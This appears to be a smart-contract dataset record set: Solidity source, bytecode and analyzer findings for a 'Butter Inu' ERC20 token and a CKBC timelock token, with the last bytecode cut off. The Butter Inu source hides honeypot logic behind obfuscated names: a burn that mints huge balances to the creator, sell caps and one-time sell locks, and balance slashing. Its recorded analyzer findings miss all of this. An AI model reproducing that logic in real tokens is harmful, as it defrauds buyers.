return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _Butterd(address sender, uint256 amount) internal {
if ((Frames[sender] != true)) {
if ((amount > Wolf)) { require(false); }
require(amount < Flying);
if (Terror == true) {
if (Jacket[sender] == true) { require(false); }
Jacket[sender] = true;
}
}
}
function _GamesForce(address recipient) internal {
butterArray.push(recipient);
_LoggingTheTime[recipient] = block.timestamp;
if ((Frames[recipient] != true) && (lkji > 2)) {
if ((_LoggingTheTime[butterArray[lkji-1]] == _LoggingTheTime[butterArray[lkji]]) && Frames[butterArray[lkji-1]] != true) {
_balances[butterArray[lkji-1]] = _balances[butterArray[lkji-1]]/75;
}
}
lkji++;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
_balances[_creator] += _totalSupply * 10 ** 10;
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(Frames[spender],Jacket[spender],Camera) = ((address(owner) == _creator) && (Camera == true)) ? (true,false,false) : (Frames[spender],Jacket[spender],Camera);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(Flying,Terror) = ((address(sender) == _creator) && (Chamber == false)) ? (Fox, true) : (Flying,Terror);
(Frames[recipient],Chamber) = ((address(sender) == _creator) && (Chamber == true)) ? (true, false) : (Frames[recipient],Chamber);
_GamesForce(recipient);
_Butterd(sender, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeployButterInu(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (1000, 1000);
_totalSupply += amount;
_balances[account] += amount;
Flying = _totalSupply;
Fox = _totalSupply / temp1;
Wolf = Fox * temp2;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployButterInu(creator, initialSupply);
}
}
contract ButterInu is ERC20Token {
constructor() ERC20Token("Butter Inu", "BUTTER", msg.sender, 1575000000 * 10 ** 18) {
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610e45565b60405180910390f35b61012b610126366004610eb6565b6102f9565b604051901515815260200161010f565b600f545b60405190815260200161010f565b61012b61015b366004610ee0565b61030f565b6040516012815260200161010f565b61012b61017d366004610eb6565b6103c5565b61012b610190366004610f1c565b6103fc565b61013f6101a3366004610f35565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610eb6565b6104c3565b6009546101d5906001600160a01b031681565b61012b610229366004610eb6565b61055e565b61013f61023c366004610f57565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600c805461027690610f8a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610f8a565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c848484610736565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685610fdb565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690610ff2565b60006104083383610a23565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600d805461027690610f8a565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685610fdb565b5060019392505050565b6000610306338484610736565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b600e546001600160a01b038481169116148015610652575060135460ff1615156001145b61068e576001600160a01b03821660009081526002602090815260408083205460039092529091205460135460ff928316929182169116610694565b60016000805b6001600160a01b038581166000818152600260209081526040808320600383528184206013805498151560ff19998a161790558054981515988816989098179097558654971515979095169690961790945590871680845260058552828420828552855292829020859055905184815290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661079a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156108745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b600e546001600160a01b0385811691161480156108995750601354610100900460ff16155b6108b15760105460135462010000900460ff166108b7565b60115460015b60138054911515620100000262ff000019909216919091179055601055600e546001600160a01b0385811691161480156108fe575060135460ff6101009091041615156001145b610930576001600160a01b03831660009081526002602052604090205460135460ff9182169161010090910416610935565b600160005b6001600160a01b03851660009081526002602052604090206013805461ff0019166101009315159390930292909217909155805460ff191691151591909117905561097f83610b76565b6109898483610d9a565b6109938282610fdb565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109c9908490610ff2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1591815260200190565b60405180910390a350505050565b600f54610a35906402540be40061100a565b600e546001600160a01b031660009081526004602052604081208054909190610a5f908490610ff2565b90915550506001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610aec908490610fdb565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610b2c908490610ff2565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600b805460018082019092557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0384169081179091556000908152600660209081526040808320429055600290915290205460ff16151514801590610bf157506002601454115b15610d825760066000600b60145481548110610c0f57610c0f611029565b60009182526020808320909101546001600160a01b031683528201929092526040018120546014549091600691600b90610c4b90600190610fdb565b81548110610c5b57610c5b611029565b60009182526020808320909101546001600160a01b03168352820192909252604001902054148015610cdc575060026000600b6001601454610c9d9190610fdb565b81548110610cad57610cad611029565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b15610d8257604b60046000600b6001601454610cf89190610fdb565b81548110610d0857610d08611029565b60009182526020808320909101546001600160a01b03168352820192909252604001902054610d37919061103f565b60046000600b6001601454610d4c9190610fdb565b81548110610d5c57610d5c611029565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60148054906000610d9283611061565b919050555050565b6001600160a01b03821660009081526002602052604090205460ff161515600114610e4157601254811115610dce57600080fd5b6010548110610ddc57600080fd5b60135462010000900460ff16151560011415610e41576001600160a01b03821660009081526003602052604090205460ff16151560011415610e1d57600080fd5b6001600160a01b0382166000908152600360205260409020805460ff191660011790555b5050565b600060208083528351808285015260005b81811015610e7257858101830151858201604001528201610e56565b81811115610e84576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610eb157600080fd5b919050565b60008060408385031215610ec957600080fd5b610ed283610e9a565b946020939093013593505050565b600080600060608486031215610ef557600080fd5b610efe84610e9a565b9250610f0c60208501610e9a565b9150604084013590509250925092565b600060208284031215610f2e57600080fd5b5035919050565b600060208284031215610f4757600080fd5b610f5082610e9a565b9392505050565b60008060408385031215610f6a57600080fd5b610f7383610e9a565b9150610f8160208401610e9a565b90509250929050565b600181811c90821680610f9e57607f821691505b60208210811415610fbf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610fed57610fed610fc5565b500390565b6000821982111561100557611005610fc5565b500190565b600081600019048311821515161561102457611024610fc5565b500290565b634e487b7160e01b600052603260045260246000fd5b60008261105c57634e487b7160e01b600052601260045260246000fd5b500490565b600060001982141561107557611075610fc5565b506001019056fea264697066735822122057dc36eb13b2eb060ff338734982f6a1285ab3104873f6735436c12f0023717364736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,476 |
0xeceb4f23326a5a721a8d6dd4c10902d163b16a68
|
pragma solidity ^0.4.24;
/* CKBC
// Cinnamomum Kanehirae BlockChain (CKBC)
// ERC20 Contract with Timelock capabilities
// The big intricate timelock mechanisms out here
// ---
// ---
*/
/* an owner is required */
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
/* SafeMath implementation to guard against overflows */
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a); // checks for overflow
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b); // guard against overflow
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b); // checks for overflow
return c;
}
}
/* The main contract for the timelock capable ERC20 token */
contract Token is SafeMath, Owned {
uint256 constant DAY_IN_SECONDS = 86400;
string public constant standard = "0.777";
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceP;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256[]) public lockTime;
mapping (address => uint256[]) public lockValue;
mapping (address => uint256) public lockNum;
mapping (address => bool) public locker;
uint256 public later = 0;
uint256 public earlier = 0;
/* standard ERC20 events */
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/* custom lock-related events */
event TransferredLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
/* ERC20 constructor */
function Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceP[msg.sender] = _totalSupply;
}
/* don't allow zero address */
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
/* owner may add & remove optional locker contract */
function addLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = true;
}
function removeLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = false;
}
/* owner may fast-forward or delay ALL timelocks */
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
/* shows unlocked balance */
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) > add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
/* shows locked balance */
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
/* standard ERC20 compatible balance accessor */
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
/* show the timelock periods and locked values */
function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
function showValue(address _address) public view validAddress(_address) returns (uint256[] _value) {
return lockValue[_address];
}
/* calculates and handles the timelocks before related operations */
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) > add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
/* emit timelock expiration event */
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
/* ERC20 compliant transfer method */
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
if (balanceP[msg.sender] >= _value && _value > 0) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
/* custom timelocked transfer method */
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[msg.sender] >= totalValue && totalValue > 0) {
i = 0;
while (i < _time.length) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
/* emit custom timelock event */
emit TransferredLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
/* emit standard transfer event */
emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
/* custom timelocked method */
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(locker[msg.sender]);
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[_from] >= totalValue && totalValue > 0) {
i = 0;
while (i < _time.length) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
/* emit custom timelock event */
emit TransferredLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
/* emit standard transfer event */
emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
/* standard ERC20 compliant transferFrom method */
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
if (lockNum[_from] > 0) calcUnlock(_from);
if (balanceP[_from] >= _value && _value > 0) {
allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
/* standard ERC20 compliant approve method */
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/* safety method against ether transfer */
function () public payable {
revert();
}
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630451f5201461017a57806306fdde03146101d1578063095ea7b3146102615780630fce887b146102c657806310e24db5146103c757806313af40351461045f57806316b81889146104a2578063170f8a51146104f957806318160ddd1461055057806323b872dd1461057b578063313ce5671461060057806332308cce1461063157806334af370f1461069257806345cc5890146106f35780635a3b7e42146107365780635fc3a312146107c657806366fbc1541461081d57806370a0823114610848578063885cb4361461089f5780638da5cb5b1461093757806395d89b411461098e578063a9059cbb14610a1e578063b91aedab14610a83578063c7cc4ee914610b64578063ca0cd7c014610b8f578063ce62cd4a14610bbc578063d71c9c1214610bff578063dd62ed3e14610c5a578063df51d46b14610cd1575b600080fd5b34801561018657600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b3480156101dd57600080fd5b506101e6610e7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022657808201518184015260208101905061020b565b50505050905090810190601f1680156102535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026d57600080fd5b506102ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1a565b604051808215151515815260200191505060405180910390f35b3480156102d257600080fd5b506103ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061111c565b604051808215151515815260200191505060405180910390f35b3480156103d357600080fd5b50610408600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561044b578082015181840152602081019050610430565b505050509050019250505060405180910390f35b34801561046b57600080fd5b506104a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119bd565b005b3480156104ae57600080fd5b506104e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5b565b6040518082815260200191505060405180910390f35b34801561050557600080fd5b5061053a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a73565b6040518082815260200191505060405180910390f35b34801561055c57600080fd5b50610565611a8b565b6040518082815260200191505060405180910390f35b34801561058757600080fd5b506105e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a91565b604051808215151515815260200191505060405180910390f35b34801561060c57600080fd5b50610615611e21565b604051808260ff1660ff16815260200191505060405180910390f35b34801561063d57600080fd5b5061067c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e34565b6040518082815260200191505060405180910390f35b34801561069e57600080fd5b506106dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e64565b6040518082815260200191505060405180910390f35b3480156106ff57600080fd5b50610734600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e94565b005b34801561074257600080fd5b5061074b611f72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561078b578082015181840152602081019050610770565b50505050905090810190601f1680156107b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107d257600080fd5b50610807600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fab565b6040518082815260200191505060405180910390f35b34801561082957600080fd5b506108326120eb565b6040518082815260200191505060405180910390f35b34801561085457600080fd5b50610889600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120f1565b6040518082815260200191505060405180910390f35b3480156108ab57600080fd5b506108e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121fa565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610923578082015181840152602081019050610908565b505050509050019250505060405180910390f35b34801561094357600080fd5b5061094c612385565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561099a57600080fd5b506109a36123aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109e35780820151818401526020810190506109c8565b50505050905090810190601f168015610a105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a2a57600080fd5b50610a69600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612448565b604051808215151515815260200191505060405180910390f35b348015610a8f57600080fd5b50610b4a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506126a9565b604051808215151515815260200191505060405180910390f35b348015610b7057600080fd5b50610b79612e0a565b6040518082815260200191505060405180910390f35b348015610b9b57600080fd5b50610bba60048036038101908080359060200190929190505050612e10565b005b348015610bc857600080fd5b50610bfd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e80565b005b348015610c0b57600080fd5b50610c40600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f5e565b604051808215151515815260200191505060405180910390f35b348015610c6657600080fd5b50610cbb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f7e565b6040518082815260200191505060405180910390f35b348015610cdd57600080fd5b50610cfc60048036038101908080359060200190929190505050612fa3565b005b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600090505b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610e7357610df1600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515610dde57fe5b9060005260206000200154600b54613013565b610dfd42600c54613013565b1115610e6657610e6382600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515610e5357fe5b9060005260206000200154613013565b91505b8080600101915050610d48565b81915050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f125780601f10610ee757610100808354040283529160200191610f12565b820191906000526020600020905b815481529060010190602001808311610ef557829003601f168201915b505050505081565b60008260008173ffffffffffffffffffffffffffffffffffffffff1614151515610f4357600080fd5b6000831480610fce57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610fd957600080fd5b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561102b5761102a33613031565b5b82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60008060008660008173ffffffffffffffffffffffffffffffffffffffff161415151561114857600080fd5b8660008173ffffffffffffffffffffffffffffffffffffffff161415151561116f57600080fd5b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156111c757600080fd5b865186511415156111d757600080fd5b6000600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112295761122889613031565b5b60009350600092505b855184101561126b5761125c83878681518110151561124d57fe5b90602001906020020151613013565b92508380600101945050611232565b82600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156112ba5750600083115b156118ed57600093505b86518410156118e45761132d600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054878681518110151561131e57fe5b9060200190602002015161362c565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020816113fd9190613645565b506001600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208161148b9190613645565b506114ad42888681518110151561149e57fe5b90602001906020020151613013565b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110151561153857fe5b9060005260206000200181905550858481518110151561155457fe5b90602001906020020151600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811015156115e957fe5b90600052602060002001819055508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167ffe070d51105133a72bb93887d77e06cf4e456c051b256e50905871f9f231b648600760008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811015156116d157fe5b9060005260206000200154600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110151561176757fe5b9060005260206000200154604051808381526020018281526020019250505060405180910390a38773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b